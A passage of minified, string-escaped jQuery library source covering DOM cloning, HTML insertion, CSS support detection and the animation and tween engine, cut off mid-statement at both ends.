fb=\"abbr|article|aside|audio|bdi|canvas|data|datalist|details|figcaption|figure|footer|header|hgroup|mark|meter|nav|output|progress|section|summary|time|video\",gb=/ jQuery\\d+=\"(?:null|\\d+)\"/g,hb=new RegExp(\"<(?:\"+fb+\")[\\\\s/>]\",\"i\"),ib=/^\\s+/,jb=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\\w:]+)[^>]*)\\/>/gi,kb=/<([\\w:]+)/,lb=/<tbody/i,mb=/<|&#?\\w+;/,nb=/<(?:script|style|link)/i,ob=/checked\\s*(?:[^=]|=\\s*.checked.)/i,pb=/^$|\\/(?:java|ecma)script/i,qb=/^true\\/(.*)/,rb=/^\\s*<!(?:\\[CDATA\\[|--)|(?:\\]\\]|--)>\\s*$/g,sb={option:[1,\"<select multiple='multiple'>\",\"</select>\"],legend:[1,\"<fieldset>\",\"</fieldset>\"],area:[1,\"<map>\",\"</map>\"],param:[1,\"<object>\",\"</object>\"],thead:[1,\"<table>\",\"</table>\"],tr:[2,\"<table><tbody>\",\"</tbody></table>\"],col:[2,\"<table><tbody></tbody><colgroup>\",\"</colgroup></table>\"],td:[3,\"<table><tbody><tr>\",\"</tr></tbody></table>\"],_default:l.htmlSerialize?[0,\"\",\"\"]:[1,\"X<div>\",\"</div>\"]},tb=eb(z),ub=tb.appendChild(z.createElement(\"div\"));sb.optgroup=sb.option,sb.tbody=sb.tfoot=sb.colgroup=sb.caption=sb.thead,sb.th=sb.td;function vb(a,b){var c,d,e=0,f=typeof a.getElementsByTagName!==L?a.getElementsByTagName(b||\"*\"):typeof a.querySelectorAll!==L?a.querySelectorAll(b||\"*\"):void 0;if(!f)for(f=[],c=a.childNodes||a;null!=(d=c[e]);e++)!b||n.nodeName(d,b)?f.push(d):n.merge(f,vb(d,b));return void 0===b||b&&n.nodeName(a,b)?n.merge([a],f):f}function wb(a){X.test(a.type)&&(a.defaultChecked=a.checked)}function xb(a,b){return n.nodeName(a,\"table\")&&n.nodeName(11!==b.nodeType?b:b.firstChild,\"tr\")?a.getElementsByTagName(\"tbody\")[0]||a.appendChild(a.ownerDocument.createElement(\"tbody\")):a}function yb(a){return a.type=(null!==n.find.attr(a,\"type\"))+\"/\"+a.type,a}function zb(a){var b=qb.exec(a.type);return b?a.type=b[1]:a.removeAttribute(\"type\"),a}function Ab(a,b){for(var c,d=0;null!=(c=a[d]);d++)n._data(c,\"globalEval\",!b||n._data(b[d],\"globalEval\"))}function Bb(a,b){if(1===b.nodeType&&n.hasData(a)){var c,d,e,f=n._data(a),g=n._data(b,f),h=f.events;if(h){delete g.handle,g.events={};for(c in h)for(d=0,e=h[c].length;e>d;d++)n.event.add(b,c,h[c][d])}g.data&&(g.data=n.extend({},g.data))}}function Cb(a,b){var c,d,e;if(1===b.nodeType){if(c=b.nodeName.toLowerCase(),!l.noCloneEvent&&b[n.expando]){e=n._data(b);for(d in e.events)n.removeEvent(b,d,e.handle);b.removeAttribute(n.expando)}\"script\"===c&&b.text!==a.text?(yb(b).text=a.text,zb(b)):\"object\"===c?(b.parentNode&&(b.outerHTML=a.outerHTML),l.html5Clone&&a.innerHTML&&!n.trim(b.innerHTML)&&(b.innerHTML=a.innerHTML)):\"input\"===c&&X.test(a.type)?(b.defaultChecked=b.checked=a.checked,b.value!==a.value&&(b.value=a.value)):\"option\"===c?b.defaultSelected=b.selected=a.defaultSelected:(\"input\"===c||\"textarea\"===c)&&(b.defaultValue=a.defaultValue)}}n.extend({clone:function(a,b,c){var d,e,f,g,h,i=n.contains(a.ownerDocument,a);if(l.html5Clone||n.isXMLDoc(a)||!hb.test(\"<\"+a.nodeName+\">\")?f=a.cloneNode(!0):(ub.innerHTML=a.outerHTML,ub.removeChild(f=ub.firstChild)),!(l.noCloneEvent&&l.noCloneChecked||1!==a.nodeType&&11!==a.nodeType||n.isXMLDoc(a)))for(d=vb(f),h=vb(a),g=0;null!=(e=h[g]);++g)d[g]&&Cb(e,d[g]);if(b)if(c)for(h=h||vb(a),d=d||vb(f),g=0;null!=(e=h[g]);g++)Bb(e,d[g]);else Bb(a,f);return d=vb(f,\"script\"),d.length>0&&Ab(d,!i&&vb(a,\"script\")),d=h=e=null,f},buildFragment:function(a,b,c,d){for(var e,f,g,h,i,j,k,m=a.length,o=eb(b),p=[],q=0;m>q;q++)if(f=a[q],f||0===f)if(\"object\"===n.type(f))n.merge(p,f.nodeType?[f]:f);else if(mb.test(f)){h=h||o.appendChild(b.createElement(\"div\")),i=(kb.exec(f)||[\"\",\"\"])[1].toLowerCase(),k=sb[i]||sb._default,h.innerHTML=k[1]+f.replace(jb,\"<$1></$2>\")+k[2],e=k[0];while(e--)h=h.lastChild;if(!l.leadingWhitespace&&ib.test(f)&&p.push(b.createTextNode(ib.exec(f)[0])),!l.tbody){f=\"table\"!==i||lb.test(f)?\"<table>\"!==k[1]||lb.test(f)?0:h:h.firstChild,e=f&&f.childNodes.length;while(e--)n.nodeName(j=f.childNodes[e],\"tbody\")&&!j.childNodes.length&&f.removeChild(j)}n.merge(p,h.childNodes),h.textContent=\"\";while(h.firstChild)h.removeChild(h.firstChild);h=o.lastChild}else p.push(b.createTextNode(f));h&&o.removeChild(h),l.appendChecked||n.grep(vb(p,\"input\"),wb),q=0;while(f=p[q++])if((!d||-1===n.inArray(f,d))&&(g=n.contains(f.ownerDocument,f),h=vb(o.appendChild(f),\"script\"),g&&Ab(h),c)){e=0;while(f=h[e++])pb.test(f.type||\"\")&&c.push(f)}return h=null,o},cleanData:function(a,b){for(var d,e,f,g,h=0,i=n.expando,j=n.cache,k=l.deleteExpando,m=n.event.special;null!=(d=a[h]);h++)if((b||n.acceptData(d))&&(f=d[i],g=f&&j[f])){if(g.events)for(e in g.events)m[e]?n.event.remove(d,e):n.removeEvent(d,e,g.handle);j[f]&&(delete j[f],k?delete d[i]:typeof d.removeAttribute!==L?d.removeAttribute(i):d[i]=null,c.push(f))}}}),n.fn.extend({text:function(a){return W(this,function(a){return void 0===a?n.text(this):this.empty().append((this[0]&&this[0].ownerDocument||z).createTextNode(a))},null,a,arguments.length)},append:function(){return this.domManip(arguments,function(a){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var b=xb(this,a);b.appendChild(a)}})},prepend:function(){return this.domManip(arguments,function(a){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var b=xb(this,a);b.insertBefore(a,b.firstChild)}})},before:function(){return this.domManip(arguments,function(a){this.parentNode&&this.parentNode.insertBefore(a,this)})},after:function(){return this.domManip(arguments,function(a){this.parentNode&&this.parentNode.insertBefore(a,this.nextSibling)})},remove:function(a,b){for(var c,d=a?n.filter(a,this):this,e=0;null!=(c=d[e]);e++)b||1!==c.nodeType||n.cleanData(vb(c)),c.parentNode&&(b&&n.contains(c.ownerDocument,c)&&Ab(vb(c,\"script\")),c.parentNode.removeChild(c));return this},empty:function(){for(var a,b=0;null!=(a=this[b]);b++){1===a.nodeType&&n.cleanData(vb(a,!1));while(a.firstChild)a.removeChild(a.firstChild);a.options&&n.nodeName(a,\"select\")&&(a.options.length=0)}return this},clone:function(a,b){return a=null==a?!1:a,b=null==b?a:b,this.map(function(){return n.clone(this,a,b)})},html:function(a){return W(this,function(a){var b=this[0]||{},c=0,d=this.length;if(void 0===a)return 1===b.nodeType?b.innerHTML.replace(gb,\"\"):void 0;if(!(\"string\"!=typeof a||nb.test(a)||!l.htmlSerialize&&hb.test(a)||!l.leadingWhitespace&&ib.test(a)||sb[(kb.exec(a)||[\"\",\"\"])[1].toLowerCase()])){a=a.replace(jb,\"<$1></$2>\");try{for(;d>c;c++)b=this[c]||{},1===b.nodeType&&(n.cleanData(vb(b,!1)),b.innerHTML=a);b=0}catch(e){}}b&&this.empty().append(a)},null,a,arguments.length)},replaceWith:function(){var a=arguments[0];return this.domManip(arguments,function(b){a=this.parentNode,n.cleanData(vb(this)),a&&a.replaceChild(b,this)}),a&&(a.length||a.nodeType)?this:this.remove()},detach:function(a){return this.remove(a,!0)},domManip:function(a,b){a=e.apply([],a);var c,d,f,g,h,i,j=0,k=this.length,m=this,o=k-1,p=a[0],q=n.isFunction(p);if(q||k>1&&\"string\"==typeof p&&!l.checkClone&&ob.test(p))return this.each(function(c){var d=m.eq(c);q&&(a[0]=p.call(this,c,d.html())),d.domManip(a,b)});if(k&&(i=n.buildFragment(a,this[0].ownerDocument,!1,this),c=i.firstChild,1===i.childNodes.length&&(i=c),c)){for(g=n.map(vb(i,\"script\"),yb),f=g.length;k>j;j++)d=i,j!==o&&(d=n.clone(d,!0,!0),f&&n.merge(g,vb(d,\"script\"))),b.call(this[j],d,j);if(f)for(h=g[g.length-1].ownerDocument,n.map(g,zb),j=0;f>j;j++)d=g[j],pb.test(d.type||\"\")&&!n._data(d,\"globalEval\")&&n.contains(h,d)&&(d.src?n._evalUrl&&n._evalUrl(d.src):n.globalEval((d.text||d.textContent||d.innerHTML||\"\").replace(rb,\"\")));i=c=null}return this}}),n.each({appendTo:\"append\",prependTo:\"prepend\",insertBefore:\"before\",insertAfter:\"after\",replaceAll:\"replaceWith\"},function(a,b){n.fn[a]=function(a){for(var c,d=0,e=[],g=n(a),h=g.length-1;h>=d;d++)c=d===h?this:this.clone(!0),n(g[d])[b](c),f.apply(e,c.get());return this.pushStack(e)}});var Db,Eb={};function Fb(b,c){var d=n(c.createElement(b)).appendTo(c.body),e=a.getDefaultComputedStyle?a.getDefaultComputedStyle(d[0]).display:n.css(d[0],\"display\");return d.detach(),e}function Gb(a){var b=z,c=Eb[a];return c||(c=Fb(a,b),\"none\"!==c&&c||(Db=(Db||n(\"<iframe frameborder='0' width='0' height='0'/>\")).appendTo(b.documentElement),b=(Db[0].contentWindow||Db[0].contentDocument).document,b.write(),b.close(),c=Fb(a,b),Db.detach()),Eb[a]=c),c}!function(){var a,b,c=z.createElement(\"div\"),d=\"-webkit-box-sizing:content-box;-moz-box-sizing:content-box;box-sizing:content-box;display:block;padding:0;margin:0;border:0\";c.innerHTML=\" <link/><table></table><a href='/a'>a</a><input type='checkbox'/>\",a=c.getElementsByTagName(\"a\")[0],a.style.cssText=\"float:left;opacity:.5\",l.opacity=/^0.5/.test(a.style.opacity),l.cssFloat=!!a.style.cssFloat,c.style.backgroundClip=\"content-box\",c.cloneNode(!0).style.backgroundClip=\"\",l.clearCloneStyle=\"content-box\"===c.style.backgroundClip,a=c=null,l.shrinkWrapBlocks=function(){var a,c,e,f;if(null==b){if(a=z.getElementsByTagName(\"body\")[0],!a)return;f=\"border:0;width:0;height:0;position:absolute;top:0;left:-9999px\",c=z.createElement(\"div\"),e=z.createElement(\"div\"),a.appendChild(c).appendChild(e),b=!1,typeof e.style.zoom!==L&&(e.style.cssText=d+\";width:1px;padding:1px;zoom:1\",e.innerHTML=\"<div></div>\",e.firstChild.style.width=\"5px\",b=3!==e.offsetWidth),a.removeChild(c),a=c=e=null}return b}}();var Hb=/^margin/,Ib=new RegExp(\"^(\"+T+\")(?!px)[a-z%]+$\",\"i\"),Jb,Kb,Lb=/^(top|right|bottom|left)$/;a.getComputedStyle?(Jb=function(a){return a.ownerDocument.defaultView.getComputedStyle(a,null)},Kb=function(a,b,c){var d,e,f,g,h=a.style;return c=c||Jb(a),g=c?c.getPropertyValue(b)||c[b]:void 0,c&&(\"\"!==g||n.contains(a.ownerDocument,a)||(g=n.style(a,b)),Ib.test(g)&&Hb.test(b)&&(d=h.width,e=h.minWidth,f=h.maxWidth,h.minWidth=h.maxWidth=h.width=g,g=c.width,h.width=d,h.minWidth=e,h.maxWidth=f)),void 0===g?g:g+\"\"}):z.documentElement.currentStyle&&(Jb=function(a){return a.currentStyle},Kb=function(a,b,c){var d,e,f,g,h=a.style;return c=c||Jb(a),g=c?c[b]:void 0,null==g&&h&&h[b]&&(g=h[b]),Ib.test(g)&&!Lb.test(b)&&(d=h.left,e=a.runtimeStyle,f=e&&e.left,f&&(e.left=a.currentStyle.left),h.left=\"fontSize\"===b?\"1em\":g,g=h.pixelLeft+\"px\",h.left=d,f&&(e.left=f)),void 0===g?g:g+\"\"||\"auto\"});function Mb(a,b){return{get:function(){var c=a();if(null!=c)return c?void delete this.get:(this.get=b).apply(this,arguments)}}}!function(){var b,c,d,e,f,g,h=z.createElement(\"div\"),i=\"border:0;width:0;height:0;position:absolute;top:0;left:-9999px\",j=\"-webkit-box-sizing:content-box;-moz-box-sizing:content-box;box-sizing:content-box;display:block;padding:0;margin:0;border:0\";h.innerHTML=\" <link/><table></table><a href='/a'>a</a><input type='checkbox'/>\",b=h.getElementsByTagName(\"a\")[0],b.style.cssText=\"float:left;opacity:.5\",l.opacity=/^0.5/.test(b.style.opacity),l.cssFloat=!!b.style.cssFloat,h.style.backgroundClip=\"content-box\",h.cloneNode(!0).style.backgroundClip=\"\",l.clearCloneStyle=\"content-box\"===h.style.backgroundClip,b=h=null,n.extend(l,{reliableHiddenOffsets:function(){if(null!=c)return c;var a,b,d,e=z.createElement(\"div\"),f=z.getElementsByTagName(\"body\")[0];if(f)return e.setAttribute(\"className\",\"t\"),e.innerHTML=\" <link/><table></table><a href='/a'>a</a><input type='checkbox'/>\",a=z.createElement(\"div\"),a.style.cssText=i,f.appendChild(a).appendChild(e),e.innerHTML=\"<table><tr><td></td><td>t</td></tr></table>\",b=e.getElementsByTagName(\"td\"),b[0].style.cssText=\"padding:0;margin:0;border:0;display:none\",d=0===b[0].offsetHeight,b[0].style.display=\"\",b[1].style.display=\"none\",c=d&&0===b[0].offsetHeight,f.removeChild(a),e=f=null,c},boxSizing:function(){return null==d&&k(),d},boxSizingReliable:function(){return null==e&&k(),e},pixelPosition:function(){return null==f&&k(),f},reliableMarginRight:function(){var b,c,d,e;if(null==g&&a.getComputedStyle){if(b=z.getElementsByTagName(\"body\")[0],!b)return;c=z.createElement(\"div\"),d=z.createElement(\"div\"),c.style.cssText=i,b.appendChild(c).appendChild(d),e=d.appendChild(z.createElement(\"div\")),e.style.cssText=d.style.cssText=j,e.style.marginRight=e.style.width=\"0\",d.style.width=\"1px\",g=!parseFloat((a.getComputedStyle(e,null)||{}).marginRight),b.removeChild(c)}return g}});function k(){var b,c,h=z.getElementsByTagName(\"body\")[0];h&&(b=z.createElement(\"div\"),c=z.createElement(\"div\"),b.style.cssText=i,h.appendChild(b).appendChild(c),c.style.cssText=\"-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;position:absolute;display:block;padding:1px;border:1px;width:4px;margin-top:1%;top:1%\",n.swap(h,null!=h.style.zoom?{zoom:1}:{},function(){d=4===c.offsetWidth}),e=!0,f=!1,g=!0,a.getComputedStyle&&(f=\"1%\"!==(a.getComputedStyle(c,null)||{}).top,e=\"4px\"===(a.getComputedStyle(c,null)||{width:\"4px\"}).width),h.removeChild(b),c=h=null)}}(),n.swap=function(a,b,c,d){var e,f,g={};for(f in b)g[f]=a.style[f],a.style[f]=b[f];e=c.apply(a,d||[]);for(f in b)a.style[f]=g[f];return e};var Nb=/alpha\\([^)]*\\)/i,Ob=/opacity\\s*=\\s*([^)]*)/,Pb=/^(none|table(?!-c[ea]).+)/,Qb=new RegExp(\"^(\"+T+\")(.*)$\",\"i\"),Rb=new RegExp(\"^([+-])=(\"+T+\")\",\"i\"),Sb={position:\"absolute\",visibility:\"hidden\",display:\"block\"},Tb={letterSpacing:0,fontWeight:400},Ub=[\"Webkit\",\"O\",\"Moz\",\"ms\"];function Vb(a,b){if(b in a)return b;var c=b.charAt(0).toUpperCase()+b.slice(1),d=b,e=Ub.length;while(e--)if(b=Ub[e]+c,b in a)return b;return d}function Wb(a,b){for(var c,d,e,f=[],g=0,h=a.length;h>g;g++)d=a[g],d.style&&(f[g]=n._data(d,\"olddisplay\"),c=d.style.display,b?(f[g]||\"none\"!==c||(d.style.display=\"\"),\"\"===d.style.display&&V(d)&&(f[g]=n._data(d,\"olddisplay\",Gb(d.nodeName)))):f[g]||(e=V(d),(c&&\"none\"!==c||!e)&&n._data(d,\"olddisplay\",e?c:n.css(d,\"display\"))));for(g=0;h>g;g++)d=a[g],d.style&&(b&&\"none\"!==d.style.display&&\"\"!==d.style.display||(d.style.display=b?f[g]||\"\":\"none\"));return a}function Xb(a,b,c){var d=Qb.exec(b);return d?Math.max(0,d[1]-(c||0))+(d[2]||\"px\"):b}function Yb(a,b,c,d,e){for(var f=c===(d?\"border\":\"content\")?4:\"width\"===b?1:0,g=0;4>f;f+=2)\"margin\"===c&&(g+=n.css(a,c+U[f],!0,e)),d?(\"content\"===c&&(g-=n.css(a,\"padding\"+U[f],!0,e)),\"margin\"!==c&&(g-=n.css(a,\"border\"+U[f]+\"Width\",!0,e))):(g+=n.css(a,\"padding\"+U[f],!0,e),\"padding\"!==c&&(g+=n.css(a,\"border\"+U[f]+\"Width\",!0,e)));return g}function Zb(a,b,c){var d=!0,e=\"width\"===b?a.offsetWidth:a.offsetHeight,f=Jb(a),g=l.boxSizing()&&\"border-box\"===n.css(a,\"boxSizing\",!1,f);if(0>=e||null==e){if(e=Kb(a,b,f),(0>e||null==e)&&(e=a.style[b]),Ib.test(e))return e;d=g&&(l.boxSizingReliable()||e===a.style[b]),e=parseFloat(e)||0}return e+Yb(a,b,c||(g?\"border\":\"content\"),d,f)+\"px\"}n.extend({cssHooks:{opacity:{get:function(a,b){if(b){var c=Kb(a,\"opacity\");return\"\"===c?\"1\":c}}}},cssNumber:{columnCount:!0,fillOpacity:!0,fontWeight:!0,lineHeight:!0,opacity:!0,order:!0,orphans:!0,widows:!0,zIndex:!0,zoom:!0},cssProps:{\"float\":l.cssFloat?\"cssFloat\":\"styleFloat\"},style:function(a,b,c,d){if(a&&3!==a.nodeType&&8!==a.nodeType&&a.style){var e,f,g,h=n.camelCase(b),i=a.style;if(b=n.cssProps[h]||(n.cssProps[h]=Vb(i,h)),g=n.cssHooks[b]||n.cssHooks[h],void 0===c)return g&&\"get\"in g&&void 0!==(e=g.get(a,!1,d))?e:i[b];if(f=typeof c,\"string\"===f&&(e=Rb.exec(c))&&(c=(e[1]+1)*e[2]+parseFloat(n.css(a,b)),f=\"number\"),null!=c&&c===c&&(\"number\"!==f||n.cssNumber[h]||(c+=\"px\"),l.clearCloneStyle||\"\"!==c||0!==b.indexOf(\"background\")||(i[b]=\"inherit\"),!(g&&\"set\"in g&&void 0===(c=g.set(a,c,d)))))try{i[b]=\"\",i[b]=c}catch(j){}}},css:function(a,b,c,d){var e,f,g,h=n.camelCase(b);return b=n.cssProps[h]||(n.cssProps[h]=Vb(a.style,h)),g=n.cssHooks[b]||n.cssHooks[h],g&&\"get\"in g&&(f=g.get(a,!0,c)),void 0===f&&(f=Kb(a,b,d)),\"normal\"===f&&b in Tb&&(f=Tb[b]),\"\"===c||c?(e=parseFloat(f),c===!0||n.isNumeric(e)?e||0:f):f}}),n.each([\"height\",\"width\"],function(a,b){n.cssHooks[b]={get:function(a,c,d){return c?0===a.offsetWidth&&Pb.test(n.css(a,\"display\"))?n.swap(a,Sb,function(){return Zb(a,b,d)}):Zb(a,b,d):void 0},set:function(a,c,d){var e=d&&Jb(a);return Xb(a,c,d?Yb(a,b,d,l.boxSizing()&&\"border-box\"===n.css(a,\"boxSizing\",!1,e),e):0)}}}),l.opacity||(n.cssHooks.opacity={get:function(a,b){return Ob.test((b&&a.currentStyle?a.currentStyle.filter:a.style.filter)||\"\")?.01*parseFloat(RegExp.$1)+\"\":b?\"1\":\"\"},set:function(a,b){var c=a.style,d=a.currentStyle,e=n.isNumeric(b)?\"alpha(opacity=\"+100*b+\")\":\"\",f=d&&d.filter||c.filter||\"\";c.zoom=1,(b>=1||\"\"===b)&&\"\"===n.trim(f.replace(Nb,\"\"))&&c.removeAttribute&&(c.removeAttribute(\"filter\"),\"\"===b||d&&!d.filter)||(c.filter=Nb.test(f)?f.replace(Nb,e):f+\" \"+e)}}),n.cssHooks.marginRight=Mb(l.reliableMarginRight,function(a,b){return b?n.swap(a,{display:\"inline-block\"},Kb,[a,\"marginRight\"]):void 0}),n.each({margin:\"\",padding:\"\",border:\"Width\"},function(a,b){n.cssHooks[a+b]={expand:function(c){for(var d=0,e={},f=\"string\"==typeof c?c.split(\" \"):[c];4>d;d++)e[a+U[d]+b]=f[d]||f[d-2]||f[0];return e}},Hb.test(a)||(n.cssHooks[a+b].set=Xb)}),n.fn.extend({css:function(a,b){return W(this,function(a,b,c){var d,e,f={},g=0;if(n.isArray(b)){for(d=Jb(a),e=b.length;e>g;g++)f[b[g]]=n.css(a,b[g],!1,d);return f}return void 0!==c?n.style(a,b,c):n.css(a,b)},a,b,arguments.length>1)},show:function(){return Wb(this,!0)},hide:function(){return Wb(this)},toggle:function(a){return\"boolean\"==typeof a?a?this.show():this.hide():this.each(function(){V(this)?n(this).show():n(this).hide()})}});function $b(a,b,c,d,e){return new $b.prototype.init(a,b,c,d,e)}n.Tween=$b,$b.prototype={constructor:$b,init:function(a,b,c,d,e,f){this.elem=a,this.prop=c,this.easing=e||\"swing\",this.options=b,this.start=this.now=this.cur(),this.end=d,this.unit=f||(n.cssNumber[c]?\"\":\"px\")},cur:function(){var a=$b.propHooks[this.prop];return a&&a.get?a.get(this):$b.propHooks._default.get(this)},run:function(a){var b,c=$b.propHooks[this.prop];return this.pos=b=this.options.duration?n.easing[this.easing](a,this.options.duration*a,0,1,this.options.duration):a,this.now=(this.end-this.start)*b+this.start,this.options.step&&this.options.step.call(this.elem,this.now,this),c&&c.set?c.set(this):$b.propHooks._default.set(this),this}},$b.prototype.init.prototype=$b.prototype,$b.propHooks={_default:{get:function(a){var b;return null==a.elem[a.prop]||a.elem.style&&null!=a.elem.style[a.prop]?(b=n.css(a.elem,a.prop,\"\"),b&&\"auto\"!==b?b:0):a.elem[a.prop]},set:function(a){n.fx.step[a.prop]?n.fx.step[a.prop](a):a.elem.style&&(null!=a.elem.style[n.cssProps[a.prop]]||n.cssHooks[a.prop])?n.style(a.elem,a.prop,a.now+a.unit):a.elem[a.prop]=a.now}}},$b.propHooks.scrollTop=$b.propHooks.scrollLeft={set:function(a){a.elem.nodeType&&a.elem.parentNode&&(a.elem[a.prop]=a.now)}},n.easing={linear:function(a){return a},swing:function(a){return.5-Math.cos(a*Math.PI)/2}},n.fx=$b.prototype.init,n.fx.step={};var _b,ac,bc=/^(?:toggle|show|hide)$/,cc=new RegExp(\"^(?:([+-])=|)(\"+T+\")([a-z%]*)$\",\"i\"),dc=/queueHooks$/,ec=[jc],fc={\"*\":[function(a,b){var c=this.createTween(a,b),d=c.cur(),e=cc.exec(b),f=e&&e[3]||(n.cssNumber[a]?\"\":\"px\"),g=(n.cssNumber[a]||\"px\"!==f&&+d)&&cc.exec(n.css(c.elem,a)),h=1,i=20;if(g&&g[3]!==f){f=f||g[3],e=e||[],g=+d||1;do h=h||\".5\",g/=h,n.style(c.elem,a,g+f);while(h!==(h=c.cur()/d)&&1!==h&&--i)}return e&&(g=c.start=+g||+d||0,c.unit=f,c.end=e[1]?g+(e[1]+1)*e[2]:+e[2]),c}]};function gc(){return setTimeout(function(){_b=void 0}),_b=n.now()}function hc(a,b){var c,d={height:a},e=0;for(b=b?1:0;4>e;e+=2-b)c=U[e],d[\"margin\"+c]=d[\"padding\"+c]=a;return b&&(d.opacity=d.width=a),d}function ic(a,b,c){for(var d,e=(fc[b]||[]).concat(fc[\"*\"]),f=0,g=e.length;g>f;f++)if(d=e[f].call(c,b,a))return d}function jc(a,b,c){var d,e,f,g,h,i,j,k,m=this,o={},p=a.style,q=a.nodeType&&V(a),r=n._data(a,\"fxshow\");c.queue||(h=n._queueHooks(a,\"fx\"),null==h.unqueued&&(h.unqueued=0,i=h.empty.fire,h.empty.fire=function(){h.unqueued||i()}),h.unqueued++,m.always(function(){m.always(function(){h.unqueued--,n.queue(a,\"fx\").length||h.empty.fire()})})),1===a.nodeType&&(\"height\"in b||\"width\"in b)&&(c.overflow=[p.overflow,p.overflowX,p.overflowY],j=n.css(a,\"display\"),k=Gb(a.nodeName),\"none\"===j&&(j=k),\"inline\"===j&&\"none\"===n.css(a,\"float\")&&(l.inlineBlockNeedsLayout&&\"inline\"!==k?p.zoom=1:p.display=\"inline-block\")),c.overflow&&(p.overflow=\"hidden\",l.shrinkWrapBlocks()||m.always(function(){p.overflow=c.overflow[0],p.overflowX=c.overflow[1],p.overflowY=c.overflow[2]}));for(d in b)if(e=b[d],bc.exec(e)){if(delete b[d],f=f||\"toggle\"===e,e===(q?\"hide\":\"show\")){if(\"show\"!==e||!r||void 0===r[d])continue;q=!0}o[d]=r&&r[d]||n.style(a,d)}if(!n.isEmptyObject(o)){r?\"hidden\"in r&&(q=r.hidden):r=n._data(a,\"fxshow\",{}),f&&(r.hidden=!q),q?n(a).show():m.done(function(){n(a).hide()}),m.done(function(){var b;n._removeData(a,\"fxshow\");for(b in o)n.style(a,b,o[b])});for(d in o)g=ic(q?r[d]:0,d,m),d in r||(r[d]=g.start,q&&(g.end=g.start,g.start=\"width\"===d||\"height\"===d?1:0))}}function kc(a,b){var c,d,e,f,g;for(c in a)if(d=n.camelCase(c),e=b[d],f=a[c],n.isArray(f)&&(e=f[1],f=a[c]=f[0]),c!==d&&(a[d]=f,delete a[c]),g=n.cssHooks[d],g&&\"expand\"in g){f=g.expand(f),delete a[d];for(c in f)c in a||(a[c]=f[c],b[c]=e)}else b[d]=e}function lc(a,b,c){var d,e,f=0,g=ec.length,h=n.Deferred().always(function(){delete i.elem}),i=function(){if(e)return!1;for(var b=_b||gc(),c=Math.max(0,j.startTime+j.duration-b),d=c/j.duration||0,f=1-d,g=0,i=j.tweens.length;i>g;g++)j.tweens[g].run(f);return h.notifyWith(a,[j,f,c]),1>f&&i?c:(h.resolveWith(a,[j]),!1)},j=h.promise({elem:a,props:n.extend({},b),opts:n.extend(!0,{specialEasing:{}},c),originalProperties:b,originalOptions:c,startTime:_b||gc(),duration:c.duration,tweens:[],createTween:function(b,c){var d=n.Tween(a,j.opts,b,c,j.opts.specialEasing[b]||j.opts.easing);return j.tweens.push(d),d},stop:function(b){var c=0,d=b?j.tweens.length:0;if(e)return this;for(e=!0;d>c;c++)j.tweens[c].run(1);return b?h.resolveWith(a,[j,b]):h.rejectWith(a,[j,b]),this}}),k=j.props;for(kc(k,j.opts.specialEasing);g>f;f++)if(d=ec[f].call(j,a,k,j.opts))return d;return n.map(k,ic,j),n.isFunction(j.opts.start)&&j.opts.start.call(a,j),n.fx.timer(n.extend(i,{elem:a,anim:j,queue:j.opts.queue})),j.progress(j.opts.progress).done(j.opts.done,j.opts.complete).fail(j.opts.fail).always(j.opts.always)}n.Animation=n.extend(lc,{tweener:function(a,b){n.isFunction(a)?(b=a,a=[\"*\"]):a=a.split(\" \");for(var c,d=0,e=a.length;e>d;d++)c=a[d],fc[c]=fc[c]||[],fc[c].unshift(b)},prefilter:function(a,b){b?ec.unshift(a):ec.push(a)}}),n.speed=function(a,b,c){var d=a&&\"object\"==typeof a?n.extend({},a):{complete:c||!c&&b||n.isFunction(a)&&a,duration:a,easing:c&&b||b&&!n.isFunction(b)&&b};return d.duration=n.fx.off?0:\"number\"==typeof d.duration?d.duration:d.duration in n.fx.speeds?n.fx.speeds[d.duration]:n.fx.speeds._default,(null==d.queue||d.queue===!0)&&(d.queue=\"fx\"),d.old=d.complete,d.complete=function(){n.isFunction(d.old)&&d.old.call(this),d.queue&&n.dequeue(this,d.queue)},d},n.fn.extend({fadeTo:function(a,b,c,d){return this.filter(V).css(\"opacity\",0).show().end().animate({opacity:b},a,c,d)},animate:function(a,b,c,d){var e=n.isEmptyObject(a),f=n.speed(b,c,d),g=function(){var b=lc(this,n.extend({},a),f);(e||n._data(this,\"finish\"))&&b.stop(!0)};return g.finish=g,e||f.queue===!1?this.each(g):this.queue(f.queue,g)},stop:function(a,b,c){var d=function(a){var b=a.stop;delete a.stop,b(c)};return\"string\"!=typeof a&&(c=b,b=a,a=void 0),b&&a!==!1&&this.queue(a||\"fx\",[]),this.each(function(){var b=!0,e=null!=a&&a+\"queueHooks\",f=n.timers,g=n._data(this);if(e)g[e]&&g[e].stop&&d(g[e]);else for(e in g)g[e]&&g[e].stop&&dc.test(e)&&d(g[e]);for(e=f.length;e--;)f[e].elem!==this||null!=a&&f[e].queue!==a||(f[e].anim.stop(c),b=!1,f.splice(e,1));(b||!c)&&n.dequeue(this,a)})},finish:function(a){return a!==!1&&(a=a||\"fx\"),this.each(function(){var b,c=n._data(this),d=c[a+\"queue\"],e=c[a+\"queueHooks\"],f=n.timers,g=d?d.length:0;for(c.finish=!0,n.queue(this,a,[]),e&&e.stop&&e.stop.call(this,!0),b=f.length;b--;)f[b].elem===this&&f[b].queue===a&&(f[b].anim.stop(!0),f.splice(b,1));for(b=0;g>b;b++)d[b]&&d[b].finish&&d[b].finish.call(this);delete c.finish})}}),n.each([\"toggle\",\"show\",\"hide\"],function(a,b){var c=n.fn[b];n.fn[b]=function(a,d,e){return null==a||\"boolean\"==typeof a?c.apply(this,arguments):this.animate(hc(b,!0),a,d,e)}}),n.each({slideDown:hc(\"show\"),slideUp:hc(\"hide\"),slideToggle:hc(\"toggle\"),fadeIn:{opacity:\"show\"},fadeOut:{opacity:\"hide\"},fadeToggle:{opacity:\"toggle\"}},function(a,b){n.fn[a]=function(a,c,d){return this.animate(b,a,c,d)}}),n.timers=[],n.fx.tick=function(){var a,b=n.timers,c=0;for(_b=n.now();c<b.length;c++)a=b[c],a()||b[c]!==a||b.splice(c--,1);b.length||n.fx.stop(),_b=void 